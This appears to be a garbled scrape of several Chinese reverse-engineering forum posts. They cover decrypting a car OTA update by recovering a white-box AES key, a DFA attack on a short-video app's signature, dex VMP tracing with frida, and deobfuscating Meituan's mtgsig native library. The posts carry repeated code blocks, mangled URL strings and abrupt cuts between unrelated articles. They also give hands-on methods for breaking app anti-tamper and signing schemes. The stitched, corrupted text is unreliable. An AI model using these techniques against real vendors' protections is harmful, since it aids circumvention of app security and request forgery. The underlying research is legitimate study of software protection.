\\"0d8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4U0K9r3g2E0j5i4y4Q4x3X3g2S2L8X3c8J5L8$3W2V1i4K6u0W2j5$3!0E0i4K6u0r3N6r3!0G2L8s2x3`.\\"
>
\\n
<
application
>
\\n
<
activity
android:name
=
\\"xxx.xxxx.Request\\"
/>
\\n
</
application
>
\\n</
manifest
>
\\nOverriding method should call
super
.onCreate
\\nOverriding method should call
super
.onCreate
\\npublic
class
Request
extends
Activity {
\\n
@SuppressLint
(
\\"MissingSuperCall\\"
)
\\n
protected
void
onCreate(Bundle savedInstanceState) {
\\n
}
\\n}
public
class
Request
extends
Activity {
\\n
@SuppressLint
(
\\"MissingSuperCall\\"
)
\\n
protected
void
onCreate(Bundle savedInstanceState) {
\\n
}
\\n}
public
class
Request
extends
Activity {
\\n
@SuppressLint
(
\\"MissingSuperCall\\"
)
\\n
protected
void
onCreate(Bundle savedInstanceState) {
\\n
String urlString =
\\"aacK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6F1L8%4c8W2i4K6u0W2M7$3S2D9N6g2)9J5k6h3k6&6K9b7`.`.\\"
;
\\n
StringBuilder result =
new
StringBuilder();
\\n
HttpsURLConnection urlConnection =
null
;
\\n
try
{
\\n
URL url =
new
URL(urlString);
\\n
urlConnection = (HttpsURLConnection) url.openConnection();
\\n
urlConnection.setRequestMethod(
\\"GET\\"
);
\\n
urlConnection.setConnectTimeout(
10000
);
// 10秒
\\n
urlConnection.setReadTimeout(
10000
);
// 10秒
\\n
int
responseCode = urlConnection.getResponseCode();
\\n
if
(responseCode == HttpsURLConnection.HTTP_OK) {
\\n
InputStream in = urlConnection.getInputStream();
\\n
BufferedReader reader =
new
BufferedReader(
new
InputStreamReader(in));
\\n
String line;
\\n
while
((line = reader.readLine()) !=
null
) {
\\n
result.append(line);
\\n
}
\\n
reader.close();
\\n
in.close();
\\n
}
else
{
\\n
result.append(
\\"响应码:\\"
).append(responseCode);
\\n
}
\\n
}
catch
(Exception e) {
\\n
e.printStackTrace();
\\n
result.append(
\\"异常:\\"
).append(e.getMessage());
\\n
}
finally
{
\\n
if
(urlConnection !=
null
) {
\\n
urlConnection.disconnect();
\\n
}
\\n
}
\\n
System.out.println(result);
\\n
}
\\n}
public
class
Request
extends
Activity {
\\n
@SuppressLint
(
\\"MissingSuperCall\\"
)
\\n
protected
void
onCreate(Bundle savedInstanceState) {
\\n
String urlString =
\\"aacK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6F1L8%4c8W2i4K6u0W2M7$3S2D9N6g2)9J5k6h3k6&6K9b7`.`.\\"
;
\\n
StringBuilder result =
new
StringBuilder();
\\n
HttpsURLConnection urlConnection =
null
;
\\n
try
{
\\n
URL url =
new
URL(urlString);
\\n
urlConnection = (HttpsURLConnection) url.openConnection();
\\n
urlConnection.setRequestMethod(
\\"GET\\"
);
\\n
urlConnection.setConnectTimeout(
10000
);
// 10秒
\\n
urlConnection.setReadTimeout(
10000
);
// 10秒
\\n
int
responseCode = urlConnection.getResponseCode();
\\n
if
(responseCode == HttpsURLConnection.HTTP_OK) {
\\n
InputStream in = urlConnection.getInputStream();
\\n
BufferedReader reader =
new
BufferedReader(
new
InputStreamReader(in));
\\n
String line;
\\n
while
((line = reader.readLine()) !=
null
) {
\\n
result.append(line);
\\n
}
\\n
reader.close();
\\n
in.close();
\\n
}
else
{
\\n
result.append(
\\"响应码:\\"
).append(responseCode);
\\n
}
\\n
}
catch
(Exception e) {
\\n
e.printStackTrace();
\\n
result.append(
\\"异常:\\"
).append(e.getMessage());
\\n
}
finally
{
\\n
if
(urlConnection !=
null
) {
\\n
urlConnection.disconnect();
\\n
}
\\n
}
\\n
System.out.println(result);
\\n
}
\\n}
public
class
Main
extends
Activity {
\\n
@Override
\\n
protected
void
onCreate(Bundle savedInstanceState) {
\\n
super
.onCreate(savedInstanceState);
\\n
setContentView(R.layout.main);
\\n
Button request= findViewById(R.id.request);
\\n
Request requestObj=
new
Request();
//UI主线程实例化activity对象
\\n
request.setOnClickListener(v->{
\\n
new
Thread(()->requestObj.onCreate(
null
)).start();
//子线程里调用onCreate函数
\\n
});
\\n
}
\\n}
public
class
Main
extends
Activity {
\\n
@Override
\\n
protected
void
onCreate(Bundle savedInstanceState) {
\\n
super
.onCreate(savedInstanceState);
\\n
setContentView(R.layout.main);
\\n
Button request= findViewById(R.id.request);
\\n
Request requestObj=
new
Request();
//UI主线程实例化activity对象
\\n
request.setOnClickListener(v->{
\\n
new
Thread(()->requestObj.onCreate(
null
)).start();
//子线程里调用onCreate函数
\\n
});
\\n
}
\\n}
public
class
Request
extends
VMP361.Method {
\\n
@Override
\\n
protected
void
onCreate(Bundle args) {
//这里建议设为 protected, 防止被外部调用
\\n
super
.onCreate(args);
//调用父类的onCreate解析参数
\\n
String urlString =
\\"9c8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6F1L8%4c8W2i4K6u0W2M7$3S2D9N6g2)9J5k6h3k6&6K9g2)9K6c8X3q4J5k6K6m8Q4x3@1b7`.\\"
+getArg(
0
);//获取参数
\\n
StringBuilder result =
new
StringBuilder();
\\n
HttpsURLConnection urlConnection =
null
;
\\n
try
{
\\n
URL url =
new
URL(urlString);
\\n
urlConnection = (HttpsURLConnection) url.openConnection();
\\n
urlConnection.setRequestMethod(
\\"GET\\"
);
\\n
urlConnection.setConnectTimeout(
10000
);
// 10秒
\\n
urlConnection.setReadTimeout(
10000
);
// 10秒
\\n
int
responseCode = urlConnection.getResponseCode();
\\n
if
(responseCode == HttpsURLConnection.HTTP_OK) {
\\n
InputStream in = urlConnection.getInputStream();
\\n
BufferedReader reader =
new
BufferedReader(
new
InputStreamReader(in));
\\n
String line;
\\n
while
((line = reader.readLine()) !=
null
) {
\\n
result.append(line);
\\n
}
\\n
reader.close();
\\n
in.close();
\\n
}
else
{
\\n
result.append(
\\"响应码:\\"
).append(responseCode);
\\n
}
\\n
}
catch
(Exception e) {
\\n
e.printStackTrace();
\\n
result.append(
\\"异常:\\"
).append(e.getMessage());
\\n
}
finally
{
\\n
if
(urlConnection !=
null
) {
\\n
urlConnection.disconnect();
\\n
}
\\n
}
\\n
result(result);
//返回结果
\\n
}
\\n}
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!
\\n唉,一言难尽,我的车车CS75P 二代车机系统终于更新了,上了高德新版, 有了红绿灯倒计时,福音呀,盼了很久,终于更新了。
我就想着将OTA包里面的apk,直接提取出来,升级就行了,不需要更新车机系统了,结果失败!
拿到了心心念的OTA升级包,一打开。
哦豁~~~~
它竟然做了加密的,,,好惨
我就想着,既然这里做了加密,那么车机系统在拿到包后,肯定也需要进行解密才能去安装呀,于似乎带着好奇去看了看
在车机交流群里面,顺利拿到了负责车机升级的apk,拖进jadx 里面,找关键字,HuOs
还真找到了。
这不就是我升级的路径,和包格式嘛 .zip
跟着调用栈一路静态分析,结果追到了解密方法:
这里发现 包被进行了 \\"AES/CBC/PKCS5Padding\\" 的加密,车机系统拿到文件,进行解密后,再安装
又上一个步骤发现,是通过获取 \\"/system/bin/sd_ivi_data/ckey\\" 的值,
然后使用 未宸 解密,对这个文件进行解密,获取前16 字节,作为系统包的aes key
想要解密这个就得两个步骤:
1、获取到这个ckey 这个文件 (万能的车友群 把文件给了我)
2、拿到 whiteBox.decrypt 的代码实现逻辑 (万能的车友群 把文件给了我)
步骤2 走了一些弯路
起初以为 whiteBox.decrypt 这个代码的实现是放在 boot-framework.vdex 、最后通过搜索,发现是放在
boot-ext.vdex 里面的。
这里就需要使用两个工具
最终打开,
解密方法则是将 文件的值,与一个key ,进到native 里面 计算出来
那么我们还需要获取到这个token :
通过静态分析,获取token的 通过获取升级 apk 下的一些文件值,在native 里面进行判断,最后返回出结果。
起初,我以为需要在native 里面进行计算,最后反编译进去一看,,
这...... 好家伙只是将获取的数据进行了对比,然后直接返回token, 想复杂了。。。。
前面既然已经拿到了 token ,那我们直接使用Unidbg 将 token 值,和ckey 的值传入,计算出结果即可
拿到key 了,返回第一步,使用AES/CBC/PKCS5Padding 解密,获得ota包
然后使用 开源工具
payload-dumper-go 将 payload.bin 提取出 system.img 即可:
就拿到了 高德地图
整体弄下来,花了一下午的时间,最开始想的太难了,动手起来,多亏了 万能的车群 提供了相应的文件进行分析,万事开头难,做起来就顺了。
整体分析难道不大,都是一些基础的调用,和简单的知识点结合就行。
int
__fastcall Java_com_weichen_whitebox_encrytion_WhiteBoxNativeImpl_connectionToNativeVerifyDigest(JNIEnv *a1,
int
a2,
int
a3,
size_t
a4,
int
a5,
int
a6,
size_t
a7,
int
a8,
int
a9,
int
a10,
int
a11)
\\n{
_DWORD *v13;
// r9
\\n
const
char
*v14;
// r5
\\n
const
char
*v15;
// r10
\\n
int
v16;
// r0
\\n
const
char
*v17;
// r5
\\n
jbyte *v18;
// r4
\\n
jbyte *v19;
// r6
\\n
jstring (*v20)(JNIEnv *,
const
char
*);
// r2
\\n
const
char
*v21;
// r1
\\n
const
char
*v23;
// r4
\\n
void
*v24;
// r9
\\n
const
char
*v25;
// r10
\\n
jbyte *v26;
// r4
\\n
jbyte *v27;
// r5
\\n
const
char
*v28;
// [sp+1Ch] [bp-2Ch]
\\n
const
char
*v29;
// [sp+24h] [bp-24h]
\\n
v13 =
malloc
(0x20u);
\\n
v14 = (*a1)->GetStringUTFChars(a1, a9, 0);
\\n
v15 = (*a1)->GetStringUTFChars(a1, a5, 0);
\\n
if
( !j_readFileFromApk(v14, v15, v13) )
\\n
{
\\n
_android_log_print(4,
\\"LeosinAcsctl: digest\\"
,
\\"can\'t find file, LINE = %d\\"
, 275);
\\nLABEL_8:
v20 = (*a1)->NewStringUTF;
\\n
v21 =
\\"can\'t find file\\"
;
\\n
return
(
int
)v20(a1, v21);
\\n
}
\\n
v29 = v14;
\\n
v16 = j_calculateDigest(a1, v13, a10);
\\n
if
( !v16 || (v17 = (
const
char
*)v16, !v13[4]) )
\\n
{
\\n
_android_log_print(4,
\\"LeosinAcsctl: digest\\"
,
\\"unsupproted signAlg, LINE = %d\\"
, 281);
\\n
v20 = (*a1)->NewStringUTF;
\\n
v21 =
\\"unsupproted signAlg\\"
;
\\n
return
(
int
)v20(a1, v21);
\\n
}
\\n
v18 = (*a1)->GetByteArrayElements(a1, a3, 0);
\\n
v19 = (jbyte *)
malloc
(a4);
\\n
qmemcpy(v19, v18, a4);
\\n
if
(
strncmp
(v17, v19, a4) )
\\n
{
\\n
_android_log_print(4,
\\"LeosinAcsctl: digest\\"
,
\\"mainfiestFileDigest is wrong, LINE = %d\\"
, 290);
\\n
v20 = (*a1)->NewStringUTF;
\\n
v21 =
\\"mainfiestFileDigest is wrong\\"
;
\\n
return
(
int
)v20(a1, v21);
\\n
}
\\n
(*a1)->ReleaseByteArrayElements(a1, (jbyteArray)a3, v18, 2);
\\n
(*a1)->ReleaseStringUTFChars(a1, (jstring)a5, v15);
\\n
free
(v19);
\\n
free
(v13);
\\n
v23 = (*a1)->GetStringUTFChars(a1, a8, 0);
\\n
v24 =
malloc
(0x20u);
\\n
if
( !j_readFileFromApk(v29, v23, v24) )
\\n
{
\\n
_android_log_print(4,
\\"LeosinAcsctl: digest\\"
,
\\"can\'t find file, LINE = %d\\"
, 301);
\\n
goto
LABEL_8;
\\n
}
\\n
v28 = v23;
\\n
v25 = (
const
char
*)j_calculateDigest(a1, v24, a11);
\\n
v26 = (*a1)->GetByteArrayElements(a1, a6, 0);
\\n
v27 = (jbyte *)
malloc
(a4);
\\n
qmemcpy(v27, v26, a7);
\\n
__android_log_print(4,
\\"LeosinAcsctl: digest\\"
,
\\"dexClassDigestLen is %d\\"
, a7);
\\n
__android_log_print(4,
\\"LeosinAcsctl: digest\\"
,
\\"dexClassDigestArr is %s\\"
, v27);
\\n
__android_log_print(4,
\\"LeosinAcsctl: digest\\"
,
\\"dexClassDigest is %s\\"
, v25);
\\n
if
( !
strncmp
(v27, v25, a7) )
\\n
{
\\n
(*a1)->ReleaseByteArrayElements(a1, (jbyteArray)a6, v26, 2);
\\n
(*a1)->ReleaseStringUTFChars(a1, (jstring)a8, v28);
\\n
free
(v27);
\\n
free
(v24);
\\n
(*a1)->ReleaseStringUTFChars(a1, (jstring)a9, v29);
\\n
v20 = (*a1)->NewStringUTF;
\\n
v21 =
\\"@ABCDEFG\\"
;
\\n
}
\\n
else
\\n
{
\\n
_android_log_print(4,
\\"LeosinAcsctl: digest\\"
,
\\"can\'t find file, LINE = %d\\"
, 313);
\\n
v20 = (*a1)->NewStringUTF;
\\n
v21 =
\\"dexclass digest is wrong\\"
;
\\n
}
\\n
return
(
int
)v20(a1, v21);
\\n}
int
__fastcall Java_com_weichen_whitebox_encrytion_WhiteBoxNativeImpl_connectionToNativeVerifyDigest(JNIEnv *a1,
int
a2,
int
a3,
size_t
a4,
int
a5,
int
a6,
size_t
a7,
int
a8,
int
a9,
int
a10,
int
a11)
\\n{
_DWORD *v13;
// r9
\\n
const
char
*v14;
// r5
\\n
const
char
*v15;
// r10
\\n
int
v16;
// r0
\\n
const
char
*v17;
// r5
\\n
jbyte *v18;
// r4
\\n
jbyte *v19;
// r6
\\n
jstring (*v20)(JNIEnv *,
const
char
*);
// r2
\\n
const
char
*v21;
// r1
\\n
const
char
*v23;
// r4
\\n
void
*v24;
// r9
\\n
const
char
*v25;
// r10
\\n
jbyte *v26;
// r4
\\n
jbyte *v27;
// r5
\\n
const
char
*v28;
// [sp+1Ch] [bp-2Ch]
\\n
const
char
*v29;
// [sp+24h] [bp-24h]
\\n
v13 =
malloc
(0x20u);
\\n
v14 = (*a1)->GetStringUTFChars(a1, a9, 0);
\\n
v15 = (*a1)->GetStringUTFChars(a1, a5, 0);
\\n
if
( !j_readFileFromApk(v14, v15, v13) )
\\n
{
\\n
_android_log_print(4,
\\"LeosinAcsctl: digest\\"
,
\\"can\'t find file, LINE = %d\\"
, 275);
\\nLABEL_8:
v20 = (*a1)->NewStringUTF;
\\n[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!
\\n紧接着上一篇,我们看下正常运行的结果
\\ntrace一下 call_doCommandNative_sig3
\\n在tace.txt中搜索f1e7,e7f1发现没有匹配数据,改搜索e7,从匹配的trace文件从最底部往最前查找可疑点会发现
\\n从w1=0xa6接着往上分析
\\n接着双击x21往上找
\\n双击x0往上找
\\n双击0xbffff470往上找
\\nIDA定位也可以看到代码
\\n就一个简单算法,求和,取反,异或对照着直接译出来即可。算法输入参数就是v374,结合trace文件,我们可以打印下v374的0至23位,并找到对应的赋值点并编上号便于后面进行分析
\\n①比较明显就是设置的固定值,我们从②开始分析
\\n可以比较明显的发现和0x404d8220地址有关系,直接trace一下
\\n定位到的位置是callJNI_OnLoad的时候操作的,所以也是固定值。
\\n同样的追查流程找下③④也都是固定值,不想追流程其实也可以直接修改入参,这几个标注段基本都不会改变与入参无关。现在我们看下⑤直接定位到IDA赋值位置看一下
\\n点进函数sub_120d8内部没有发现明显特征,转回来看下入参就会发现unk_56188有crc32的明显特征
\\n百度或谷歌搜一下0x04c11db7
\\n确定是CRC32之后我们在看一下另外两个入参
\\n大概率能猜出是数据跟长度,拿出去试算一下
\\n试算结果符合我们的猜测是标准的CRC32,在回过头来看下算法,分析trace会发现
\\n通过0x4c11db7 算出0xedb88320,然后采用直接计算法计算CRC32值,下面是直接计算法部分的截图
\\n分析完第一个算法我们接着往后,trace一下入参地址0x404ff000
\\n结合trace文件定位一下发现是memcpy
\\n我们继续trace地址 0x404d3330
\\n根据地址可以定位到函数
\\n再看一下函数体,找到可以看一下的数据可疑点byte_59080
\\n打个断点看一下
\\n大小端切换搜一下,最后搜0x05040706
\\n搜到的项中有这么一项,应该不是明显的特征值,暂且先记录一下。我们在看一下函数输入参数
\\npkcs7填充,简单调试下会发现总共调用sub_25980三次,每次16个字节,一般这么玩的也就aes和sm4,sm4在app参数加密中用的比较少,结合前面的搜索结论大概率是aes,如果是aes还需要判断是ecb还是cbc,从入参看并没有看到类似的iv向量之类的,但是我们还是做一个试验看看,输入三组16字节数据
\\n判断是ecb应该没错了,看了下其他几个入参并没有类似key的参数,怀疑是白盒aes,如果是白盒aes我们就需要找state块了。我们看一下函数部分代码,主要逻辑部分也就下面两个块
\\n第一部分执行10次,第2部分执行9次,有点类似查表法的逻辑(字节转换 行移位 列混合),第一部分中sub24f48函数内容像是在变动赋值
\\n找到了state接下来就是dfa攻击了,先修改一位试一下
\\n前后数据对比,很明显第1,8 ,11, 14个字节不同,符合注入特征
\\n现在修改为批量随机注入
\\n批量跑完后,将存在文件中的数据用phoenixAES和aes_keyschedule处理下,具体可以网上搜索下用法,这里就不介绍了
\\n算出key我们验证一下
\\n白盒aes验证完了,现在我们继续往后,trace一下入参地址
\\n按前面的分析方法一级一级分析最后会定位到
\\n加上断点看一下
\\n结合IDA可以定位加密函数
\\n很明显0x6a09e667为sha256特征,搜索一下
\\n在看下函数入参
\\n大致调试一下可以得出结论a1未知,a2为输出,a3为输入HandsomeBro,a4为长度,a5、a6未知,按sha256试算一下发现明显对不上
\\noacia大佬的APP加固dex解密流程分析,已经基本把它翻个底朝天了,但众所周知要彻底攻破该加固,仍有dex vmp这最后一道堡垒横在面前。在此之前拜读过爱吃菠菜大佬的某DEX_VMP安全分析与还原以及Thehepta大佬的vmp入门(一):android dex vmp还原和安全性论述,了解到dex vmp的原理是对dalvik指令进行了加密和置换,这里参照大佬们的方法对oacia大佬的样本复现了一遍,记录一下历程。
既然是vmp,按照vmp常规的分析流程,必然要先拿到trace,以这次的经历来看,拿到trace就已经成功了一半了。参考了很多大佬的文章,大致有以下几种方法:ida trace、unidbg/AndroidNativeEmu、frida stalker、frida qbdi、Dobby Instrument、unicorn 虚拟CPU。
开始打算用maiyao的ida trace脚本,但遇到以下问题:
1.ida附加上后每次执行到linker加载壳so加载到一半就退出了,单步发现是跑到rtld_db_dlactivity里的BRK指令会直接退出,但加载其他so时并没有这个问题(why?)。这里手动把它跳过了。
2.trace了一下JNI_Onload,结果发现每当进入mutex_lock就会卡死在那无限循环……这个没能解决,只好弃用。
补java环境有点累,尤其是补到后面发现可能会有很多代理类,没坚持补下去……
从oacia那篇文章来的肯定少不了尝试一下stalker,结果发现和ida相似的问题——每当进入mutex_lock就会卡死在那无限循环。
尝试用yang的frida-qbdi-tracer,但每当trace到一些跳转的时候就会崩溃,查阅资料发现qbdi好像确实存在这样的bug。
这个我是后面才看到的,感觉将来可以尝试一下,详见KerryS的指令级工具Dobby源码阅读。
爱吃菠菜那篇文章的中的方法,没完全搞明白,感觉大意应该是把unicorn作为一个so文件注入到app中,用frida hook住目标函数,当发生调用时把环境补给unicorn来trace。
经过不断尝试,最终还是使用frida stalker,通过hook mutex_lock函数,在OnEnter中跳过stalker,再在OnLeave中恢复stalker的方法,在经过无数次崩溃之后,终于拿到了dex vmp的trace……
拿到trace指令流后,就可以着手分析了。可以看到,onCreate函数被注册到的地方,使用DebugSymbol.fromAddress没有打印出任何符号,应该是一块动态申请的内存区域:
函数并不大,里面也基本全是位置无关代码,应该只是一个跳板,很快,便来到了主elf中的函数sub_137978。
最近看到手里的某短视频APP来了兴致,特意拿来分析记录下,整个系列文章大概分为抓包,java层分析,so定位,so去花,unidbg,算法还原等几个部分,这几篇文章会记录下我的整个调试过程,前面的文章会比较基础,入门级玩家基本可以略过了,因为考虑到文章的连续性我这边还是会记录发表下。
\\n因为需要对关键字段的算法进行分析,所以个人习惯还是要先抓下协议看一下,先不管别的用BurpSuite抓个包出来看下
\\n\\n
抓到后总体感觉进包速度跟APP的流量不太匹配,感觉大概率是走了其他协议。既然抓到的包里面有sign字段,就先从sign字段入手看下,
\\n用frida hook看下调用栈
\\n后面根据调用栈顺藤摸瓜分析就好,最后找到了发送函数发现跟okhttp有关
\\n试着将okhttp的接口发送与接收接口打印一下看看
找到了__NS_sig3字段,这个是我们需要分析算法的字段,之前Burp Suite抓不到包的原因也出来了,走的是quic协议。
\\n直接在代码搜索__NS_sig3进行定位
\\n一直往里面进
调用接口找到了
\\n直接搜索C0526k开始
至此,so与调用so的接口都确定下来了。
\\n将定位到的lib文件导入IDA,f5之后发现 JNI_OnLoad出现jumpout了
\\n直接汇编先分析一下
\\n从注释基本都可以看出来,前期开栈到恢复栈,就弄了一堆花里胡哨的算了下绝对跳转地址,x0与x1未变化,也比较符合花指令的特性。只要把前面的垃圾指令nop掉,绝对跳转改成相对跳转即可。
\\n先手动使用IDA插件Keypatch试一下,先nop掉垃圾指令。
\\n在修改跳转指令为相对跳转
\\n修改完需要导入patch到so中
重新用IDA打开按F5即可生效,但是一个个修改比较麻烦,还是需要用脚本根据特征码定位进行修改会比较方便,对比JNI_OnLoad与JNI_UnLoad就会发现特征码比较明显
\\n[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!
\\n之前的帖子清理了jumpout,本文尝试静态分析和利用frida来分析mtgsig参数。
定位算法的步骤这里就省略了,直接从一个hook结果开始分析:
从上面结果可以看出一些很长的猜测很关键的字段base64字符串,所以直接利用ida的插件搜索算法特征。
利用上面特征可以定位到函数sub_4cf88
, 利用frida hook验证参数中的字段是否出现在此函数中:
通过验证分析看到a5参数调用了此函数,所以分析a5:
利用堆栈轻松找到调用base64的位置0xfe538
:
从上图可以看出确实调用了base64函数,但是此位置无法使用f5生成伪C代码,从这里向前翻查找最近的函数序言或者可能函数,查看为什么后面无法被f5,找到函数0xfdaa4
如下图所示:
是一个BR X8
的跳转,ida无法计算x8的值所以没有办法继续向下分析。
仔细分析跳转位置的汇编指令,分析跳转的逻辑:
简单阅读上面的指令,这个br逻辑可以利用现有的信息计算,看着很像是基于跳转表的跳转。用unicron模拟测试一下:
利用上面模拟可以看出,是从so文件中获取跳转表,并根据不同的条件计算出不同的地址。所以这部分可以恢复,起码可以部分恢复。接下来则是需要分析这种跳转模式在当前函数中有多少,然后识别出来手动计算分支清理出跳转地址。首先需要确定当前0xfdaa4
函数的范围,可以利用函数的特征或者是其他手段确认,这里可以尝试利用跳转表x22的特性确认,x22的值一般在同一个函数内是不会变化的,所以直接从函数开始搜索和x22修改读取相关的汇编指令:
结果就不展示了,利用上面函数的搜索脚本可以分析出相邻函数0x100cac
, elf
文件一般函数和函数之间不会出现交叉,除非有内联函数或者是其他编译优化策略共用代码块,这里就当一般情况处理。函数范围已经确定,并且通过观察ldr读取跳转表指令可以分析出都是通过x22 + 偏移量的方式寻址,这里只有偏移量计算方式的不同:
1. 立即数
2. 寄存器
3. 寄存器移位操作,这里很单一,只有LSL#3
同时按照上面的寻址方式静态分析,可以看到还有一种其他跳转方式:
这种方式比较简单,直接读取基地址,然后加减偏移量,没有条件选择。
接下来则是通过搜索匹配这些跳转位置收集信息计算地址然后patch。
首先搜索BR Xd
语句:
通过上面函数收集到跳转地址之后,需要利用特征收集关键信息,将之前的两种跳转分类成条件跳转case1和无条件跳转case2.case1关键信息特征为:
case2关键信息特征为:
通过上面总结的特征完成信息收集:
通过上面函数收集到关键信息计算条件跳转地址和无条件跳转地址,并且给出patch位置。所以case1的patch思路是:
case2的patch思路:
利用前面的信息计算跳转地址
上面的寄存器值从之前的unicorn模拟执行中可以找到,至此差不多就完全将逻辑替换完成了,只剩最后一步将语句patch进去
清理之后的结果
清理完成之后这个函数大致就可以静态分析。回到最初调用base64函数的部分:
直接hook函数sub_4cf88和函数sub_68968因为两个函数都有统一个参数v154:
hook结果对比:
可以看出sub_68968
的结果和base64函数的输入一致。进入函数sub_68968
看到如下:
进入函数sub_10f0f8
:
看着好像是rc4加密,搜索一份c语言rc4加密函数对比:
对比起来看真的很像,如果是rc4,那么result应该是sbox,接着看函数sub_68958
,hook验证
那么sub_68958极有可能是rc4 init函数:
网上搜索rc4 init函数:
好像在rc4 init 过程中多加了一个下标i。先看看key是啥,然后写代码验证魔改位置, 从网上抄个python版本的rc4 init:
将上面的key带入到修改的rc4 init中:得到如下结果:
验证通过的确是修改了rc4 init函数中的部分。接着看rc4的输入数据然后统一验证。继续向上查看sub_34844
函数是和输入相关的
从上面可以看出是一个json字符串应该是一些设备信息相关的压缩后得到的,开头两个字节zlib的默认压缩方式。接着需要看rc4的key是什么,因为每次hook输入的key都是变化的。
所以函数sub_683ec
应该是计算rc4 key的,hook验证:
两个函数的数据对比没有问题确实如此。至此算法流程还是比较清晰的,下面用python简单验证一下hook日志中的数据。首先是rc4 算法key的生成:
从上图看着是和v13异或得到,那么将输入和结果异或即可得到v13:
取多次hook结果验证这个在同一个机器上起码是不变的。
a5 第一版
mtgsig
=
{
\\n
\\"a0\\"
:
\\"3.0\\"
,
\\n
\\"a1\\"
:
\\"4069cb78-e02b-45f6-9f0a-b34ddccf389c\\"
,
\\n
\\"a3\\"
:
24
,
\\n
\\"a4\\"
:
1736155982
,
\\n
\\"a5\\"
:
\\"AHepznjTBvV7rHiYm8hD1+169lwTCD+PNAA6LuQx6hGIgKX2FHR3ADYlwF38q/j8dk6sKm+PO57A3AKiYH4RX1FE7Cyy8UkEwWceQURrxfHX2O7LqWtfwYCsTtE0kUoXW4aGxaAiAagM2KtS81ff/NZUgIYvdaLeiljIXbHGV+6QtbotS6/ClGky4cd1RHy7GZsJ8ubecJjv4QKLxAq4cHgsro4z9Iboi4gYCi+dTStYrEWEPRAhk9VPX3oQHeqlpRrqxGQxCbGUWjjEi/CNjuuF7W8xEnTNq0zOY/YO\\"
,
\\n
\\"a6\\"
:
0
,
\\n
\\"a7\\"
:
\\"jSAxPWen3i2zs6omj1rD+uRsiQhiPxEE1CA+76YkCHDQqmp25ELpd3PUR0uWoNZ0eAc0RLxbkZrYsmQwKjqe27lZZ8o95TEOOSQLRo8bHYA=\\"
,
\\n
\\"a8\\"
:
\\"742b25deffb779f5ed08910789926e676ca5f078d42b28d5c7dd370c\\"
,
\\n
\\"a9\\"
:
\\"dd051dd5C+3hWx/JTxImXsb+pQWQL/bklyGy4z5sN8nq7p/2yW7SAN9GsygMJe3E3IzoY912YiZ0iCnsGiPPRB6lrUP2uehxqbJlpkuyNQwe7Eh5WcvUlzYW39m7Rh5PNTZhoAUnM7NBMbYqz+WK2hslAUX8mSaQJyebUz8jOxMc7RAdK7SOXFxNX+Mcs/RN2nED0lzB4ZF/I8CFMZHjE5cBAKpeXsQaYalSlK9D50zxK/0sjdlc/knfNcMFq5hFfYz8UDPP4OCeHI/U5YcgrsbgxDH41Qs6bmBF+5YoHT+pKsxc3uc=\\"
,
\\n
\\"a10\\"
:
\\"5,155,1.1.1\\"
,
\\n
\\"x0\\"
:
1
,
\\n
\\"a2\\"
:
\\"673fb25da2fb9e3cb2eff5b39b152559\\"
\\n}
mtgsig
=
{
\\n
\\"a0\\"
:
\\"3.0\\"
,
\\n
\\"a1\\"
:
\\"4069cb78-e02b-45f6-9f0a-b34ddccf389c\\"
,
\\n
\\"a3\\"
:
24
,
\\n
\\"a4\\"
:
1736155982
,
\\n
\\"a5\\"
:
\\"AHepznjTBvV7rHiYm8hD1+169lwTCD+PNAA6LuQx6hGIgKX2FHR3ADYlwF38q/j8dk6sKm+PO57A3AKiYH4RX1FE7Cyy8UkEwWceQURrxfHX2O7LqWtfwYCsTtE0kUoXW4aGxaAiAagM2KtS81ff/NZUgIYvdaLeiljIXbHGV+6QtbotS6/ClGky4cd1RHy7GZsJ8ubecJjv4QKLxAq4cHgsro4z9Iboi4gYCi+dTStYrEWEPRAhk9VPX3oQHeqlpRrqxGQxCbGUWjjEi/CNjuuF7W8xEnTNq0zOY/YO\\"
,
\\n
\\"a6\\"
:
0
,
\\n
\\"a7\\"
:
\\"jSAxPWen3i2zs6omj1rD+uRsiQhiPxEE1CA+76YkCHDQqmp25ELpd3PUR0uWoNZ0eAc0RLxbkZrYsmQwKjqe27lZZ8o95TEOOSQLRo8bHYA=\\"
,
\\n
\\"a8\\"
:
\\"742b25deffb779f5ed08910789926e676ca5f078d42b28d5c7dd370c\\"
,
\\n
\\"a9\\"
:
\\"dd051dd5C+3hWx/JTxImXsb+pQWQL/bklyGy4z5sN8nq7p/2yW7SAN9GsygMJe3E3IzoY912YiZ0iCnsGiPPRB6lrUP2uehxqbJlpkuyNQwe7Eh5WcvUlzYW39m7Rh5PNTZhoAUnM7NBMbYqz+WK2hslAUX8mSaQJyebUz8jOxMc7RAdK7SOXFxNX+Mcs/RN2nED0lzB4ZF/I8CFMZHjE5cBAKpeXsQaYalSlK9D50zxK/0sjdlc/knfNcMFq5hFfYz8UDPP4OCeHI/U5YcgrsbgxDH41Qs6bmBF+5YoHT+pKsxc3uc=\\"
,
\\n
\\"a10\\"
:
\\"5,155,1.1.1\\"
,
\\n
\\"x0\\"
:
1
,
\\n
\\"a2\\"
:
\\"673fb25da2fb9e3cb2eff5b39b152559\\"
\\n}
/
/
hook java 入口函数
\\nfunction hook_main3() {
var Arrays
=
Java.use(
\\"java.util.Arrays\\"
);
\\n
var ShellBridge
=
Java.use(
\\"com.meituan.android.common.mtguard.ShellBridge\\"
);
\\n
ShellBridge.main3.implementation
=
function (i, objArr) {
\\n
console.log(
\\"hook ShellBridge.main3\\"
);
\\n
var ret
=
this.main3(i, objArr);
\\n
console.log(objArr.length);
\\n
console.log(objArr[
0
]);
\\n
/
/
var arr
=
Arrays.asList(objArr);
\\n
/
/
for
(var i; i < arr.size(); i
+
+
) {
\\n
/
/
var item
=
arr.get(i);
\\n
/
/
console.log(item);
\\n
/
/
}
\\n
console.log(`ShellBridge.main3args: ${i}\\\\n${objArr}\\\\nret: ${ret}\\\\n`);
\\n
return
ret;
\\n
}
\\n}
function hook_dlopen() {
Interceptor.attach(Module.findExportByName(null,
\\"android_dlopen_ext\\"
), {
